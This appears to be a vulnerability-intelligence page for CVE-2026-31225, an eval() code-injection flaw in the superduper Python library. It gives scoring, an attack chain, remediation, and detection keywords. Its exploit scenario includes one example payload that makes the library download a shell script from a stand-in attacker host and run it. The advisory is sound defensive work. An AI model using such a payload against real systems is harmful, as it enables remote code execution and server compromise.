Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit crafted query with Python payload
-
DeliveryUser/admin processes malicious query
-
Exploiteval() executes embedded code
-
ExecutionImport dangerous module (os/subprocess)
-
PersistExecute system commands as application user
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the vulnerable application processes user-controlled query strings through superduper's _parse_op_part() function. Specifically, the application must accept external input (from web forms, API parameters, or other user-supplied data) that flows into query operands parsed by the vulnerable eval() call. User interaction is required (CVSS UI:R) - either a victim user must submit or trigger processing of the malicious query, or an administrator must process attacker-influenced query data. No authentication is required at the network level (PR:N), but the UI:R constraint means attackers cannot directly exploit the vulnerability without involving a user action. Exploitation is limited to contexts where the application design allows external entities to influence query construction, making this primarily a risk for web applications, REST APIs, or multi-tenant platforms where untrusted users can submit queries. Applications that only process internally-generated or administrator-created queries are not exploitable by remote attackers. |
| Impact | Real-world risk is moderate despite the high CVSS score of 8.8. The CVSS vector (AV:N/AC:L/PR:N/UI:R) indicates network-accessible exploitation with low complexity but requires user interaction, which significantly constrains attack scenarios to contexts where attackers can influence query inputs processed by the application. EPSS exploitation probability is very low at 0.07% (20th percentile), suggesting this vulnerability type is not being actively targeted in the wild. CISA KEV does not list this CVE, confirming no known active exploitation. SSVC assessment marks exploitation status as 'none' and automatable as 'no', aligning with the UI:R requirement that prevents fully automated mass exploitation. However, technical impact is rated 'total' by SSVC, matching the CVSS confidentiality/integrity/availability ratings of High across all three. The primary risk is to applications that expose superduper query parsing to untrusted user input, particularly web applications or APIs where attackers can craft malicious queries. Organizations not using superduper or not exposing its query interface to external users face minimal risk. The low EPSS score despite straightforward exploitation conditions (AC:L) suggests limited deployment of vulnerable configurations in internet-facing contexts. |
| Exploit ScenarioDerived | An attacker identifies a web application using superduper library version 0.10.0 that exposes a query API endpoint to unauthenticated users. The attacker crafts a malicious HTTP request with a query parameter containing Python code: "__import__('os').system('curl attacker.com/shell.sh | bash')" embedded in the query operand. When a legitimate user or administrator triggers processing of this query (satisfying the UI:R requirement), the _parse_op_part() function evaluates the payload using eval(), importing the os module and executing the system command. The attacker gains remote code execution with the privileges of the application process, enabling data exfiltration, lateral movement, or full server compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 13, 2026
Remote code execution in superduper (Python library) through version 0.10.0 allows unauthenticated network attackers to execute arbitrary system commands by submitting malicious query strings with embedded Python code. The _parse_op_part() function in query.py uses unsafe eval() with inadequate context restrictions, enabling attackers to import modules (such as os) and achieve complete server compromise. EPSS score is low (0.07%, 20th percentile) and no active exploitation is confirmed (CISA KEV absent), but SSVC framework rates technical impact as total. User interaction is required (CVSS UI:R), reducing automated exploitation risk. Authentication requirements not confirmed from available data - CVSS vector shows PR:N (no privileges required) but UI:R suggests user-triggered queries.
RemediationAI
Upgrade superduper to a version newer than 0.10.0 once a patched release becomes available - no vendor-released patch identified at time of analysis, and the provided references do not link to a specific fix commit or patched version number. Monitor the GitHub repository (https://github.com/superduper-io/superduper) for security updates addressing CVE-2026-31225. As immediate compensating controls: (1) Implement strict input validation on all query strings before they reach _parse_op_part(), whitelisting only safe operators and rejecting queries containing Python code constructs like import, __builtins__, exec, or eval (trade-off: may break legitimate advanced query functionality). (2) Run the superduper application in a sandboxed environment with restricted system call access using seccomp or AppArmor to limit impact of code execution (trade-off: complex configuration, may affect legitimate file/network operations). (3) Restrict network access to query endpoints to authenticated, trusted users only and do not expose query parsing interfaces to public APIs (trade-off: reduces functionality for untrusted users). (4) Replace eval() usage with ast.literal_eval() for parsing query operands if queries only require literal Python types rather than arbitrary expressions (trade-off: significantly restricts query expressiveness but eliminates code execution risk). Review application logs for suspicious query patterns containing keywords like import, os, subprocess, or __builtins__ as potential exploitation indicators.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability stems from unsafe use of Python's eval() function for dynamic code evaluation, classified as CWE-94 (Improper Control of Generation of Code). The superduper project is a Python library for database and model management. The query.py module's _parse_op_part() function accepts user-supplied query operands and evaluates them as Python expressions using eval(). While the implementation attempts to provide a restricted global namespace to limit available functions, Python's introspection capabilities allow attackers to access built-in functions and import arbitrary modules. This breaks out of the intended sandbox, enabling import of dangerous modules like os, subprocess, or __import__ to execute system commands. The vulnerability exists in all versions through 0.10.0. CPE data is incomplete (shows generic n/a values), limiting precise product identification, though the superduper-io/superduper GitHub repository is confirmed as the affected project.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (mitre) · only source for this CVE.
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
The superduper project thru v0.10.0 contains a critical remote code execution vulnerability in its query parsing component. The _parse_op_part() function in query.py uses the unsafe eval() function to dynamically evaluate user-supplied query operands without proper sanitization or restriction. Although the function attempts to limit the execution context by providing a restricted global namespace, it does not block access to dangerous built-in functions. A remote attacker can exploit this by submitting a specially crafted query string containing Python code that imports modules (e.g., os) and executes arbitrary system commands, leading to complete compromise of the server.
Executive ViewAI
CVE-2026-31225 is a high-severity remote code execution vulnerability in the superduper Python library (through version 0.10.0) that allows unauthenticated attackers to execute arbitrary system commands through malicious query strings. Organizations using superduper for data processing or ML operations face complete server compromise risk, though exploitation requires user interaction with crafted queries and no active exploitation has been confirmed to date.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to superduper instances via firewall/WAF rules; (2) Implement strict input validation on query strings to block embedded Python code patterns (eval, import, os module references); (3) Run superduper with minimal OS-level privileges and in containerized/sandboxed environments; (4) Disable or heavily restrict user-submitted query functionality until patch availability; (5) Monitor query logs for suspicious patterns (eval syntax, module imports, system commands).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-29509
GHSA-2799-6g5r-mmc7
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB